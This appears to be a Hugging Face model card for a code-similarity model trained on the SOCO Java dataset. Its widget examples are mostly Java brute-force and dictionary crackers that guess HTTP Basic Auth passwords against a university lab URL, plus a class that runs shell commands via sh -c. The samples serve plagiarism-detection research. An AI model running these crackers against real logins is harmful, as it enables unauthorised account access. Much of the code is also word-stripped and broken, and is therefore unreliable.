buelfhood/SOCO-Java-CodeBERTa-Softmax-PairClass
028
1---2tags:3- sentence-transformers4- sentence-similarity5- feature-extraction6- generated_from_trainer7- dataset_size:300698- loss:SoftmaxLoss9base_model: huggingface/CodeBERTa-small-v110widget:11- source_sentence: "\n\nimport java.util.*;\nimport java.*;\nimport java.awt.*;\n\12 import java.net.*;\nimport java.io.*;\nimport java.text.*;\n\npublic class BruteForce\13 \ {\n \n \n \n public static String Base64Encode(String s) {\n \14 \ byte[] bb = s.getBytes();\n byte[] b = bb;\n char[] table\15 \ = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',\n\16 \ 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',\n\17 \ '0','1','2','3','4','5','6','7','8','9','+','/' };\n if (bb.length\18 \ % 3!=0) {\n int x1 = bb.length;\n \n b = new\19 \ byte[(x1/3+1)*3];\n int x2 = b.length;\n \n \20 \ for(int i=0;i<x1;i++)\n b[i] = bb[i];\n for(int i=x1;i<x2;i++)\n\21 \ b[i] = 0;\n }\n \n char[] c = new char[b.length/3*4];\n\22 \ \n int i=0, j=0;\n while (i+3<=b.length) {\n \23 \ c[j] = table[(b[i] >> 2)];\n c[j+1] = table[(b[i+1] >>\24 \ 4) | ((b[i] & 3) << 4)];\n c[j+2] = table[(b[i+2] >> 6) |\25 \ ((b[i+1] & 15) << 2)];\n c[j+3] = table[(b[i+2] & 63)];\n \26 \ i+=3;\n j+=4;\n }\n \n j = c.length-1;\n\27 \ while (c[j]=='A') {\n c[j]='=';\n j--;\n \28 \ }\n \n return String.valueOf(c);\n }\n \n \n public\29 \ synchronized void getAccumulatedLocalAttempt() {\n attempt = 0;\n \30 \ for (int i=0;i<MAXTHREAD;i++) {\n attempt += threads[i].getLocalAttempt();\n\31 \ }\n }\n \n \n public synchronized void printStatusReport(String\32 \ Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {\n \33 \ DecimalFormat fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\"\34 );\n \n System.out.println();\n System.out.println(\" ------------------------\35 \ [ CURRENT STATISTICS ] ---------------------------\");\n System.out.println();\n\36 \ System.out.println(\" Current connections : \"+curconn);\n \37 \ System.out.println(\" Current progress : \"+attempt+ \" of \"+ALLCOMBI+\"\38 \ (\"+currprogress+\"%)\");\n System.out.println(\" Overall Attempts rate\39 \ : \"+ovrl+\" attempts second (approx.)\");\n System.out.println();\n\40 \ System.out.println(\" ---------------------------------------------------------------------------\"\41 );\n System.out.println();\n }\n \n \n public class MyTT extends\42 \ TimerTask {\n \n public synchronized void run() {\n \43 \ \n \n if (count==REPORT_INTERVAL) {\n \44 \ \n DecimalFormat fmt = new DecimalFormat();\n \45 \ fmt.applyPattern(\"0.00\");\n \n \n \46 \ getAccumulatedLocalAttempt();\n double p = (double)attempt/(double)ALLCOMBI*100;\n\47 \ \n \n double aps = (double) (attempt\48 \ - attm) / REPORT_INTERVAL;\n \n \n \49 \ attmArr[attmArrIdx++] = aps;\n \n \n \50 \ printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);\n\51 \ count = 0;\n } else\n \n \52 \ if (count==0) {\n getAccumulatedLocalAttempt();\n \53 \ attm = attempt;\n count++;\n \54 \ } else {\n count++;\n }\n }\n \55 \ \n \n public synchronized double getOverallAttemptPerSec()\56 \ {\n double val = 0;\n for (int i=0;i<attmArrIdx;i++) {\n\57 \ val+= attmArr[i];\n }\n return val / attmArrIdx;\n\58 \ }\n \n private int count = 0;\n private int\59 \ attm;\n private int attmArrIdx = 0;\n private double[]\60 \ attmArr = new double[2*60*60/10]; \n }\n \n \n public synchronized\61 \ void interruptAll(int ID) {\n for (int i=0;i<MAXTHREAD;i++) {\n \62 \ if ((threads[i].isAlive()) && (i!=ID)) {\n threads[i].interrupt();\n\63 \ }\n notifyAll();\n }\n }\n \n \n \n\64 \ public synchronized void setSuccess(int ID, String p) {\n passw \65 \ = p;\n success = ID;\n notifyAll();\n interruptAll(ID);\n\66 \ \n \n end = System.currentTimeMillis();\n }\n \n\67 \ \n public synchronized boolean isSuccess() {\n return (success>=0);\n\68 \ }\n \n \n \n public synchronized void waitUntilAllTerminated()\69 \ {\n while (curconn>0) {\n try {\n wait();\n\70 \ } catch (InterruptedException e) {}\n }\n }\n \n \71 \ \n \n \n public synchronized int waitUntilOK2Connect() {\n boolean\72 \ interruptd= false;\n int idx = -1;\n \n \n \n \73 \ \n while (curconn>=MAXCONN) {\n try {\n \74 \ wait();\n } catch (InterruptedException e) { interruptd = true;\75 \ }\n }\n \n \n \n if (!interruptd) {\n \76 \ \n curconn++;\n for (idx=0;idx<MAXCONN;idx++)\n\77 \ if (!connused[idx]) {\n connused[idx] = true;\n\78 \ break;\n }\n \n notifyAll();\n\79 \ }\n \n \n return idx;\n }\n \n \n public\80 \ synchronized void decreaseConn(int idx) {\n curconn--;\n connused[idx]\81 \ = false;\n \n \n notifyAll();\n }\n \n \n public\82 \ class ThCrack extends Thread {\n \n \n public ThCrack(int\83 \ threadID, int startidx, int endidx) {\n super(\" Thread #\"+String.valueOf(threadID)+\"\84 : \");\n this.ID = threadID;\n this.startidx = startidx;\n\85 \ this.endidx = endidx;\n \n setDaemon(true);\n\86 \ }\n \n \n public boolean launchRequest(String ID,\87 \ int connID,String thePass) throws IOException, InterruptedException {\n \88 \ int i ;\n String msg;\n \n \n \89 \ URL tryURL = new URL(THEURL);\n \n \n \90 \ connections[connID]=(HttpURLConnection) tryURL.openConnection();\n \91 \ \n \n connections[connID].setRequestProperty(\"Authorization\"\92 ,\" \"+Base64Encode(USERNAME+\":\"+thePass));\n \n \n \93 \ i = connections[connID].getResponseCode();\n msg = connections[connID].getResponseMessage();\n\94 \ connections[connID].disconnect();\n \n \n \95 \ if (i==HttpURLConnection.HTTP_OK) {\n \n \96 \ System.out.println(ID+\"Trying '\"+thePass+\"' GOTCHA !!! (= \"+String.valueOf()+\"\97 -\"+msg+\").\");\n setSuccess(this.ID,thePass);\n \98 \ return (true);\n } else {\n \n System.out.println(ID+\"\99 Trying '\"+thePass+\"' FAILED (= \"+String.valueOf()+\"-\"+msg+\").\");\n \100 \ return (false);\n }\n }\n \n \n \101 \ public void rest(int msec) {\n try { sleep(msec); } catch (InterruptedException\102 \ e) {}\n }\n \n \n \n public String constructPassword(\103 \ int idx) {\n int i = idxLimit.length-2;\n boolean\104 \ processed = false;\n \n String result = \"\";\n \105 \ while (i>=0) {\n if (idx>=idxLimit[i]) {\n \106 \ int nchar = i + 1;\n idx-=idxLimit[i];\n \107 \ for (int j=0;j<nchar;j++) {\n x = (idx % NCHAR);\n\108 \ result = charset.charAt((int) x) + result;\n \109 \ idx /= NCHAR;\n }\n break;\n\110 \ }\n i--;\n }\n \n \111 \ return result;\n }\n \n \n public String getStartStr()\112 \ {\n return constructPassword(this.startidx);\n }\n \113 \ \n \n public String getEndStr() {\n return constructPassword(this.endidx);\n\114 \ }\n \n \n public void run() {\n i =\115 \ startidx;\n boolean keeprunning = true;\n while ((!isSuccess())\116 \ && (i<=endidx) && (keeprunning)) {\n \n \n \117 \ int idx = waitUntilOK2Connect();\n \n \118 \ \n if (idx==-1) {\n \n \119 \ break;\n }\n \n try {\n \120 \ \n launchRequest(getName(), idx, constructPassword(i));\n\121 \ \n decreaseConn(idx);\n \122 \ \n localattempt++;\n \n \123 \ \n rest(MAXCONN);\n i++;\n \124 \ } catch (InterruptedException e) {\n \n \125 \ \n keeprunning = false;\n \126 \ break;\n } catch (IOException e) {\n \n\127 \ \n \n \n \128 \ \n decreaseConn(idx);\n }\n \129 \ }\n \n \n if (success==this.ID) {\n \130 \ waitUntilAllTerminated();\n }\n }\n \n\131 \ \n public int getLocalAttempt() {\n return localattempt;\n\132 \ }\n \n private int startidx,endidx;\n private int\133 \ ID;\n private int localattempt = 0;\n }\n \n \n public void\134 \ printProgramHeader(String mode,int nThread) {\n System.out.println();\n\135 \ System.out.println(\" ********************* [ BRUTE-FORCE CRACKING SYSTEM\136 \ ] *********************\");\n System.out.println();\n System.out.println(\"\137 \ URL : \"+THEURL);\n System.out.println(\" Crack Mode : \"\138 +mode);\n System.out.println(\" Characters : \"+charset);\n System.out.println(\"\139 \ . Char : \"+MINCHAR);\n System.out.println(\" . Char : \"+MAXCHAR);\n\140 \ System.out.println(\" # of Thread : \"+nThread);\n System.out.println(\"\141 \ Connections : \"+MAXCONN);\n System.out.println(\" All Combi. : \"\142 +ALLCOMBI);\n System.out.println();\n System.out.println(\" ***************************************************************************\"\143 );\n System.out.println();\n }\n \n \n public void startNaiveCracking()\144 \ {\n MAXTHREAD = 1;\n MAXCONN = 1;\n startDistCracking();\n\145 \ }\n \n \n public void startDistCracking() {\n int startidx,endidx;\n\146 \ int thcount;\n \n \n if (isenhanced) {\n \147 \ printProgramHeader(\"ENHANCED BRUTE-FORCE CRACKING ALGORITHM\",MAXTHREAD);\n\148 \ } else {\n printProgramHeader(\"NAIVE BRUTE-FORCE CRACKING\149 \ ALGORITHM\",MAXTHREAD);\n }\n \n \n i = System.currentTimeMillis();\n\150 \ \n idxstart = idxLimit[MINCHAR-1];\n \n \n \151 \ \n \n \n \n if (MAXTHREAD>ALLCOMBI - idxstart)\152 \ { MAXTHREAD = (int) (ALLCOMBI-idxstart); }\n mult = (ALLCOMBI - idxstart)\153 \ / MAXTHREAD;\n \n \n \n for (thcount=0;thcount<MAXTHREAD-1;thcount++)\154 \ {\n startidx = thcount*mult + idxstart;\n endidx = (thcount+1)*mult-1\155 \ + idxstart;\n threads[thcount] = new ThCrack(thcount, startidx, endidx);\n\156 \ System.out.println(threads[thcount].getName()+\" try crack from\157 \ '\"+threads[thcount].getStartStr()+\"' '\"+threads[thcount].getEndStr()+\"\158 '\");\n }\n \n \n \n \n \n startidx\159 \ = (MAXTHREAD-1)*mult + idxstart;\n endidx = ALLCOMBI-1;\n threads[MAXTHREAD-1]\160 \ = new ThCrack(MAXTHREAD-1, startidx, endidx);\n System.out.println(threads[MAXTHREAD-1].getName()+\"\161 \ try crack from '\"+threads[MAXTHREAD-1].getStartStr()+\"' '\"+threads[MAXTHREAD-1].getEndStr()+\"\162 '\");\n \n System.out.println();\n System.out.println(\"\163 \ ***************************************************************************\"\164 );\n System.out.println();\n \n \n for (int i=0;i<MAXTHREAD;i++)\n\165 \ threads[i].print();\n }\n \n \n public BruteForce() {\n\166 \ \n if (isenhanced) {\n startDistCracking();\n \167 \ } else {\n startNaiveCracking();\n }\n \n \168 \ \n reportTimer = new java.util.Timer();\n MyTT tt = new\169 \ MyTT();\n reportTimer.schedule(tt,1000,1000);\n \n \n \170 \ while ((success==-1) && (attempt<ALLCOMBI)) {\n try { Thread.sleep(100);\171 \ getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }\n \172 \ }\n \n \n if (success==-1) {\n end = System.currentTimeMillis();\n\173 \ }\n \n \n getAccumulatedLocalAttempt();\n \174 \ \n double ovAps = tt.getOverallAttemptPerSec();\n DecimalFormat\175 \ fmt = new DecimalFormat();\n fmt.applyPattern(\"0.00\");\n \n\176 \ \n reportTimer.cancel();\n \n \n try { Thread.sleep(1000);\177 \ } catch (InterruptedException e) { }\n \n \n synchronized\178 \ (this) {\n if (success>=0) {\n System.out.println();\n\179 \ System.out.println(\" ********************* [ URL SUCCESSFULLY\180 \ CRACKED !! ] *********************\");\n System.out.println();\n\181 \ System.out.println(\" The password is : \"+passw);\n \182 \ System.out.println(\" Number of attempts : \"+attempt+\" of \"\183 +ALLCOMBI+\" total combinations\");\n System.out.println(\" Attempt\184 \ position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"%\");\n\185 \ System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\186 \ \" attempts/sec\");\n System.out.println(\" Cracking time \187 \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \188 \ System.out.println(\" Worstcase time estd : \"+fmt.format(1/ovAps*ALLCOMBI)+\189 \ \" seconds\");\n System.out.println();\n System.out.println(\"\190 \ ***************************************************************************\"\191 );\n System.out.println();\n } else {\n \192 \ System.out.println();\n System.out.println(\" *********************\193 \ [ UNABLE CRACK THE URL !!! ] *********************\");\n System.out.println();\n\194 \ System.out.println(\" Number of attempts : \"+attempt+\" of\195 \ \"+ALLCOMBI+\" total combinations\");\n System.out.println(\"\196 \ Attempt position : \"+fmt.format((double)attempt/(double)ALLCOMBI*100)+\"\197 %\");\n System.out.println(\" Overal attempt rate : \"+fmt.format(ovAps)+\198 \ \" attempts/sec\");\n System.out.println(\" Cracking time \199 \ : \"+String.valueOf(((double)end-(double)d)/1000) + \" seconds\");\n \200 \ System.out.println();\n System.out.println(\" ***************************************************************************\"\201 );\n System.out.println();\n }\n }\n }\n \202 \ \n \n public static void printSyntax() {\n System.out.println();\n\203 \ System.out.println(\"Syntax : BruteForce [mode] [URL] [charset] [] []\204 \ [username]\");\n System.out.println();\n System.out.println(\"\205 \ mode : (opt) 0 - NAIVE Brute force mode\");\n System.out.println(\"\206 \ (trying from the first the last combinations)\");\n\207 \ System.out.println(\" 1 - ENHANCED Brute force mode\"\208 );\n System.out.println(\" (dividing cracking jobs\209 \ multiple threads) (default)\");\n System.out.println(\" URL :\210 \ (opt) the URL crack \");\n System.out.println(\" \211 \ (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)\");\n System.out.println(\"\212 \ charset : (optional) the character set used crack.\");\n System.out.println(\"\213 \ - (default)\");\n System.out.println(\" \214 \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\"\215 \ -alphanum \");\n System.out.println(\" \216 \ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\");\n \217 \ System.out.println(\" -alphalow \");\n System.out.println(\"\218 \ abcdefghijklmnopqrstuvwxyz\");\n System.out.println(\"\219 \ -alphaup \");\n System.out.println(\" \220 \ ABCDEFGHIJKLMNOPQRSTUVWXYZ\");\n System.out.println(\" \221 \ -number \");\n System.out.println(\" 1234567890\"\222 );\n System.out.println(\" [custom] e.g. aAbB123\");\n \223 \ System.out.println(\" , : (optional) range of characters applied in\224 \ the cracking\");\n System.out.println(\" where\225 \ 1 <= <= 10 (default = 1)\");\n System.out.println(\" \226 \ <= <= 10 (default = 3)\");\n System.out.println(\"\227 \ username : (optional) the username that is used crack\");\n System.out.println();\n\228 \ System.out.println(\" NOTE: The optional parameters 'charset','','',\229 \ and 'username'\");\n System.out.println(\" have specified altogether\230 \ none at all.\");\n System.out.println(\" For example, if [charset]\231 \ is specified, then [], [], and\");\n System.out.println(\" [username]\232 \ have specified as well. If none of them specified,\");\n System.out.println(\"\233 \ default values used.\");\n System.out.println();\n System.out.println(\"\234 \ Example of invocation :\");\n System.out.println(\" java BruteForce\235 \ \");\n System.out.println(\" java BruteForce 0\");\n System.out.println(\"\236 \ java BruteForce 1 http://localhost/tryme.php\");\n System.out.println(\"\237 \ java BruteForce 0 http://localhost/tryme.php - 1 3 \");\n System.out.println(\"\238 \ java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 \");\n \239 \ System.out.println();\n System.out.println();\n }\n \n \n\240 \ \n \n \n \n \n \n public static void countIdxLimit() {\n\241 \ idxLimit = new int[MAXCHAR+1];\n \n NCHAR = charset.length();\n\242 \ ALLCOMBI = 0;\n for (int i=0;i<=MAXCHAR;i++) {\n if\243 \ (i==0) {\n idxLimit[i] = 0;\n } else {\n \244 \ idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i);\n }\n \245 \ }\n \n ALLCOMBI = idxLimit[idxLimit.length-1];\n }\n \246 \ \n \n public static void paramCheck(String[] args) {\n int argc\247 \ = args.length;\n \n \n try {\n switch (Integer.valueOf(args[0]).intValue())\248 \ {\n case 0: {\n isenhanced = false;\n \249 \ } break;\n case 1: {\n isenhanced\250 \ = true;\n } break;\n default:\n \251 \ System.out.println(\"Syntax error : invalid mode '\"+args[0]+\"'\");\n\252 \ printSyntax();\n System.exit(1);\n \253 \ }\n } catch (NumberFormatException e) {\n System.out.println(\"\254 Syntax error : invalid number '\"+args[0]+\"'\");\n printSyntax();\n\255 \ System.exit(1);\n }\n \n if (argc>1) {\n \256 \ try {\n \n URL u = new URL(args[1]);\n\257 \ \n \n try {\n \258 \ HttpURLConnection conn = (HttpURLConnection) u.openConnection();\n \259 \ \n switch (conn.getResponseCode()) {\n \260 \ case HttpURLConnection.HTTP_ACCEPTED:\n \261 \ case HttpURLConnection.HTTP_OK:\n case HttpURLConnection.HTTP_NOT_AUTHORITATIVE:\n\262 \ case HttpURLConnection.HTTP_FORBIDDEN:\n \263 \ case HttpURLConnection.HTTP_UNAUTHORIZED:\n \264 \ break;\n default:\n \265 \ \n \n System.out.println(\"\266 Unable open connection the URL '\"+args[1]+\"'\");\n \267 \ System.exit(1);\n }\n } catch (IOException\268 \ e) {\n System.out.println(e);\n System.exit(1);\n\269 \ }\n \n THEURL = args[1];\n \270 \ } catch (MalformedURLException e) {\n \n \271 \ System.out.println(\"Invalid URL '\"+args[1]+\"'\");\n printSyntax();\n\272 \ System.exit(1);\n }\n }\n \n \273 \ \n if (argc==6) {\n try {\n MINCHAR = Integer.valueOf(args[3]).intValue();\n\274 \ } catch (NumberFormatException e) {\n System.out.println(\"\275 Invalid range number value '\"+args[3]+\"'\");\n printSyntax();\n\276 \ System.exit(1);\n }\n \n try\277 \ {\n MAXCHAR = Integer.valueOf(args[4]).intValue();\n \278 \ } catch (NumberFormatException e) {\n System.out.println(\"\279 Invalid range number value '\"+args[4]+\"'\");\n printSyntax();\n\280 \ System.exit(1);\n }\n \n if\281 \ ((MINCHAR<1) || (MINCHAR>10)) {\n System.out.println(\"Invalid\282 \ range number value '\"+args[3]+\"' (must between 0 and 10)\");\n \283 \ printSyntax();\n System.exit(1);\n } else\n \284 \ if (MINCHAR>MAXCHAR) {\n System.out.println(\"\285 Invalid range number value '\"+args[3]+\"' (must lower than the value)\");\n\286 \ printSyntax();\n System.exit(1);\n \287 \ }\n \n if (MAXCHAR>10) {\n \288 \ System.out.println(\"Invalid range number value '\"+args[4]+\"' (must between\289 \ value and 10)\");\n printSyntax();\n System.exit(1);\n\290 \ }\n \n if (args[2].toLowerCase().equals(\"\291 -\")) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\292 ;\n } else\n if (args[2].toLowerCase().equals(\"-alphanum\"\293 )) {\n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890\"\294 ;\n } else\n if (args[2].toLowerCase().equals(\"\295 -alphalow\")) {\n charset = \"abcdefghijklmnopqrstuvwxyz\"\296 ;\n } else\n if (args[2].toLowerCase().equals(\"\297 -alphaup\")) {\n charset = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\298 ;\n } else\n if (args[2].toLowerCase().equals(\"\299 -number\")) {\n charset = \"1234567890\";\n \300 \ } else {\n charset =\301 \ args[2];\n }\n \n USERNAME\302 \ = args[5];\n } else\n if ((argc>2) && (argc<6)) {\n \303 \ System.out.println(\"Please specify the [charset], [], [], and [username]\304 \ altogether none at all\");\n printSyntax();\n \305 \ System.exit(1);\n } else\n if ((argc>2) && (argc>6))\306 \ {\n System.out.println(\"The number of parameters expected\307 \ is not more than 6. \");\n System.out.println(\" have specified\308 \ more than 6 parameters.\");\n printSyntax();\n \309 \ System.exit(1);\n }\n }\n \n public static\310 \ void main (String[] args) {\n \n charset = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"\311 ;\n MINCHAR = 1;\n MAXCHAR = 3;\n \n \n if\312 \ (args.length==0) {\n args = new String[6];\n args[0]\313 \ = String.valueOf(1); \n args[1] = THEURL;\n args[2] =\314 \ \"-\";\n args[3] = String.valueOf(MINCHAR);\n args[4]\315 \ = String.valueOf(MAXCHAR);\n args[5] = USERNAME;\n }\n \316 \ \n \n paramCheck(args);\n \n countIdxLimit();\n\317 \ \n \n Application = new BruteForce();\n }\n \n \318 \ public static BruteForce Application;\n public static String THEURL =\319 \ \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\";\n public static boolean\320 \ isenhanced; \n public static String passw = \"\"; \n \n public\321 \ static final int REPORT_INTERVAL = 10; \n public static int MAXTHREAD\322 \ = 50; \n public static int MAXCONN = 50; \n public\323 \ static int\t curconn = 0; \n public static int success\324 \ = -1; \n \n public static String USERNAME = \"\"; \n public\325 \ static int MINCHAR; \n public static int MAXCHAR;\326 \ \n public static int ALLCOMBI; \n \n \327 \ public static int start ,end; \n \n \n public static\328 \ java.util.Timer reportTimer; \n public static HttpURLConnection connections[]\329 \ = new HttpURLConnection[MAXCONN]; \n public static boolean\t connused[]\330 \ = new boolean[MAXCONN]; \n public ThCrack[] threads \331 \ = new ThCrack[MAXTHREAD]; \n public static int \332 \ attempt = 0; \n public static int idxLimit; \n public\333 \ static String charset; \n public static int NCHAR; \n}\n"334 sentences:335 - "\n\npublic class Execute {\n public Execute(String cmdline) {\n try {\n\336 \ \n String[] cmd = {\"//sh\", \"-c\", cmdline};\n Process\337 \ p = Runtime.getRuntime().exec(cmd);\n \n p.waitFor();\n \338 \ } catch (Exception e){}\n }\n}\n\n"339 - "\n\n\n\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\nimport misc.BASE64Encoder;\n\340 import javax.swing.*;\n\npublic class ConnectionThread extends Thread\n{\n \341 \ private String url;\n private URL currURL;\n private\342 \ URLConnection conn;\n private HoldSharedData sharedData;\n private int\343 \ noOfThread;\n private int batch;\n\n public ConnectionThread(\344 \ String pageURL, int wThread,\n int newBatch, HoldSharedData\345 \ data )\n {\n super();\n url = pageURL;\n noOfThread\346 \ = wThread ;\n batch = newBatch;\n sharedData = data;\n }\n\n\347 \ \n public void run()\n {\n try\n {\n currURL\348 \ = new URL( url );\n\n for( int i = noOfThread*batch; (i < (noOfThread\349 \ + 1)*batch) &&\n (i < sharedData.getPwdCount());\350 \ i ++ )\n {\n String pwd = sharedData.getPasswordAt(\351 \ i );\n\n conn = currURL.openConnection();\n\n \352 \ if (conn instanceof HttpURLConnection)\n {\n\t HttpURLConnection\353 \ hconn = (HttpURLConnection) conn;\n hconn.setFollowRedirects(false);\n\354 \ String cad = \" \" + based64Encoder( \":\" + pwd );\n \355 \ hconn.setRequestProperty( \"Authorization\", cad );\n\n \356 \ hconn.connect();\n\t int response = hconn.getResponseCode();\n\357 \ sharedData.setNumOfConnections();\n\n \358 \ if( response == 200 )\n {\n totalTime\359 \ = System.currentTimeMillis() -\n sharedData.getStartTime();\n\360 \ int numOfConnections = sharedData.getNumOfConnections();\n\361 \n System.out.println( \"Password is \" + pwd );\n \362 \ System.out.println( \"Total Time(seconds)=\" +\n \363 \ (double)totalTime/1000 );\n \364 \ System.out.println( \"Number Of Connections: \" +\n \365 \ numOfConnections );\n \366 \ System.exit(0);\n }\n else\n \367 \ {\n hconn.disconnect();\n \368 \ }\n }\n }\n }\n catch( MalformedURLException\369 \ mue )\n {\n String msg = \"Unable parse URL: \" + url;\n\370 \ System.err.println( msg );\n }\n catch( IOException\371 \ ioe )\n {\n System.err.println( \"I/O Error : \" + ioe );\n\372 \ }\n }\n\n private String based64Encoder( String pwd )\n {\n\373 \ \n String str = pwd;\n byte[] buf = str.getBytes();\n \374 \ String encodedStr = new misc.BASE64Encoder().encode(buf);\n\n\n \375 \ return encodedStr;\n }\n} "376 - "import java.io.*;\nimport java.net.*;\n\npublic class Dictionary{\n\n public\377 \ static void main( String[] args ){\n Dictionary dict= new Dictionary();\n dict.create();\n\378 \ }\n\npublic void dsf(){\n String password;\n String auth_data;\n String\379 \ username=\"\";\n String server_res_code;\n String required_server_res_code=\"\380 200\";\n int cntr=0;\n try{\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\"\381 );\n URLConnection conn=null;\n String fileName = \"/usr/share/lib/dict/words\"\382 ;\n fileName=fileName.trim();\n FileReader fr = new FileReader(fileName);\n\383 \ BufferedReader inputfile = new BufferedReader(fr);\n\n while( (password=inputfile.readLine())\384 \ != null ){\n\n password = password.trim();\n \n \385 \ auth_data=null;\n auth_data=username + \":\" + password;\n \386 \ auth_data=auth_data.trim();\n auth_data=getBasicAuthData(auth_data);\n\387 \ auth_data=auth_data.trim();\n conn=url.openConnection();\n\388 \ conn.setDoInput (true);\n conn.setDoOutput(true);\n \389 \ conn.setRequestProperty(\"GET\", \"/SEC/2/ HTTP/1.1\");\n conn.setRequestProperty\390 \ (\"Authorization\", auth_data);\n server_res_code=conn.getHeaderField(0);\n\391 \ server_res_code=server_res_code.substring(9,12);\n server_res_code.trim();\n\392 \ cntr++;\n if( server_res_code.compareTo(required_server_res_code)!=0)\n\393 \ System.out.println(cntr + \" . \" + \"PASSWORD SEND : \" + password\394 \ + \" SERVER RESPONSE : \" + server_res_code);\n else {\n \395 \ System.out.println(cntr + \" . \" + \"PASSWORD IS: \" + password + \" SERVER\396 \ RESPONSE : \" + server_res_code);\n break;}\n\n }\n\n}\n\397 \ncatch( Exception e){\n System.err.println(e);\n }\n}\n\npublic String\398 \ getBasicAuthData (String getauthdata) {\n\nchar base64Array [] = {\n \399 \ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n 'I', 'J', 'K', 'L', 'M', 'N',\400 \ 'O', 'P',\n 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n 'Y', 'Z', 'a',\401 \ 'b', 'c', 'd', 'e', 'f',\n 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n \402 \ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n 'w', 'x', 'y', 'z', '0', '1',\403 \ '2', '3',\n '4', '5', '6', '7', '8', '9', '+', '/' } ;\n\n String encodedString\404 \ = \"\";\n byte bytes [] = getauthdata.getBytes ();\n int i = 0;\n int\405 \ pad = 0;\n while (i < bytes.length) {\n byte b1 = bytes [i++];\n \406 \ byte b2;\n byte b3;\n if (i >= bytes.length) {\n b2 = 0;\n\407 \ b3 = 0;\n pad = 2;\n }\n else {\n b2 =\408 \ bytes [i++];\n if (i >= bytes.length) {\n b3 = 0;\n \409 \ pad = 1;\n }\n else\n b3 = bytes [i++];\n\410 \ }\n byte c1 = (byte)(b1 >> 2);\n byte c2 = (byte)(((b1 & 0x3)\411 \ << 4) | (b2 >> 4));\n byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n\412 \ byte c4 = (byte)(b3 & 0x3f);\n encodedString += base64Array [c1];\n\413 \ encodedString += base64Array [c2];\n switch (pad) {\n case 0:\n\414 \ encodedString += base64Array [c3];\n encodedString += base64Array\415 \ [c4];\n break;\n case 1:\n encodedString += base64Array\416 \ [c3];\n encodedString += \"=\";\n break;\n case 2:\n \417 \ encodedString += \"==\";\n break;\n }\n }\n return\418 \ \" \" + encodedString;\n }\n\n}"419- source_sentence: "import java.net.*;\nimport java.util.*;\nimport java.io.*;\n\n\420 \n\n\npublic class BruteForce {\n URL url;\n URLConnection uc;\n String username,\421 \ password, encoding;\n int pretime, posttime;\n String c ;\n\n public BruteForce(){\n\422 \ pretime = new Date().getTime();\n try{\n url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\423 );\n }catch(MalformedURLException e){\n e.printStackTrace();\n }\n\424 \ username = \"\";\n }\n\n public void checkPassword(char[] pw){\n try{\n\425 \ password = new String(pw);\n encoding = new pw.misc.BASE64Encoder().encode((username+\"\426 :\"+password).getBytes());\n uc = url.openConnection();\n uc.setRequestProperty(\"\427 Authorization\", \" \" + encoding);\n bf = uc.getHeaderField(null);\n \428 \ System.out.println(password);\n if(bf.equals(\"HTTP/1.1 200 OK\")){\n\429 \ posttime = new Date().getTime();\n diff = posttime - pretime;\n\430 \ System.out.println(username+\":\"+password);\n System.out.println();\n\431 \ System.out.println(diff/1000/60 + \" minutes \" + diff/1000%60 + \" seconds\"\432 );\n System.exit(0);\n }\n }catch(MalformedURLException e){\n \433 \ e.printStackTrace();\n }catch(IOException ioe){\n ioe.printStackTrace();\n\434 \ }\n }\n\n public static void main (String[] args){\n BruteForce bf =\435 \ new BruteForce();\n char i, j, k;\n\n \n for(i='a'; i<='z'; i++){\n\436 \ for(j='a'; j<='z'; j++){ \n for(k='a'; k<='z'; k++){\n \437 \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n }\n\438 \ }\n\n \n for(i='A'; i<='Z'; i++){\n for(j='A'; j<='Z'; j++){ \439 \ \n for(k='A'; k<='Z'; k++){\n char[] pw = {i, j, k};\n \440 \ bf.checkPassword(pw);\n }\n }\n }\n\n \n for(i='A';\441 \ i<='Z'; i++){\n for(j='a'; j<='z'; j++){ \n for(k='a'; k<='z';\442 \ k++){\n char[] pw = {i, j, k};\n bf.checkPassword(pw);\n \443 \ }\n }\n }\n\n for(i='A'; i<='z'; i++){ \n if((i=='[')\444 \ || (i=='\\\\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){\n continue;\n\445 \ }\n for(j='A'; j<='Z'; j++){ \n for(k='a'; k<='z'; k++){\n\446 \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n\447 \ }\n } \n\n for(i='A'; i<='z'; i++){ \n if((i=='[') || (i=='\\\448 \\') || (i==']') || (i=='^') || (i=='_') || (i=='`')){\n continue;\n \449 \ }\n for(j='a'; j<='z'; j++){ \n for(k='A'; k<='Z'; k++){\n \450 \ char[] pw = {i, j, k};\n bf.checkPassword(pw);\n }\n\451 \ }\n } \n \n for(i='a'; i<='z'; 